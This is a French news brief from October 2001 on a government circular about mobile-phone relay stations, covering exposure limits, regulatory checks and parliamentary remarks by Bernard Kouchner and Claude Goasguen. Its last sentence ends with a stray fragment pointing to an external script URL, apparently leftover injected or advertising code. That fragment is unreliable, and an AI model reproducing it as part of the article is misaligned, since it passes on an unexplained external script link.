Édition du mercredi 17 octobre 2001


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Stations relais de téléphonie mobile : une circulaire rappelle les recommandations européennes d'exposition et les modalités de contrôle de l'Agence nationale des fréquences et de l'Autorité de régulation des télécommunications

Les ministères de la Santé, de l'Environnement, des Télécommunications et de l'Urbanisme ont diffusé hier une circulaire sur les stations relais de téléphonie mobile pour rappeler les recommandations européennes d'exposition et les modalités de contrôle de l'Agence nationale des fréquences et de l'Autorité de régulation des télécommunications. Bernard Kouchner, secrétaire d'Etat à la Santé, a indiqué aux députés que cette circulaire " précise également les règles techniques pour établir les périmètres de sécurité autour des relais sur la base d'une expertise du Centre scientifique et technique du bâtiment. Elle élargit le champ des structures de concertation établies auprès des préfets en ce qui concerne l'environnement, afin de prendre en compte les aspects sanitaires et d'associer des représentants d'associations intéressées, en particulier de riverains. C'est dans ce cadre qu'on étudiera l'installation de stations près de sites sensibles, écoles et hôpitaux en particulier ". Par cette circulaire, le gouvernement " entend donc renforcer la concertation et la transparence lors de l'installation d'équipements de téléphonie mobile ". Cette réglementation sera prochainement complétée par des mesures relatives à toutes les autres sources de radio-fréquences et à l'information des consommateurs. Ainsi, chaque téléphone mobile devra afficher le débit d'absorption spécifique des personnes exposées ainsi que les recommandations d'usage. " Nous voulons inciter les industriels à réduire les émissions au niveau le plus bas possible. Selon un paradoxe bien français, tout le monde veut se servir de son téléphone portable mais personne ne veut de relais ! En l'absence de précisions scientifiques, nous appliquons donc, autant qu'il est possible, le principe de précaution ". Bernard Kouchner a reconnu que la question est " difficile. J'ai reçu les opérateurs, du reste unanimes, ainsi que les spécialistes et, pour l'instant, tout cela reste flou sur le plan scientifique". Avec 34 millions d'utilisateurs et 30 000 stations relais, la téléphonie mobile dépasse désormais la téléphonie fixe. Ce développement se poursuivra, avec la norme UMTS ". A la demande des autorités sanitaires, un groupe d'experts en santé publique a réalisé une synthèse des connaissances. C'est le " rapport Zmirou ", rendu public en février 2001, qui a guidé le programme d'action des pouvoirs publics. Il propose d'imposer les normes d'exposition fixées par la recommandation européenne du 12 juillet 1999. L'ordonnance du 25 juillet 2001 a donc introduit ces exigences en droit français pour les réseaux de télécommunications. Les cahiers des charges des opérateurs de téléphonie mobile ont été modifiés en conséquence. Claude Goasguen, qui interrogeait le ministre, a estimé qu'il y a eu " manque de rigueur patent sur le plan administratif. Les règlements d'urbanisme ne sont pas correctement appliqués. Certains opérateurs exploitent leurs stations sans jamais avoir demandé d'autorisation aux maires ou à l'administration des bâtiments de France. Ces groupes puissants et influents se contentent de verser des indemnités aux propriétaires des immeubles ; mais les voisins ne sont ni indemnisés ni consultés ".c=http://www.upgradead.com/b.j
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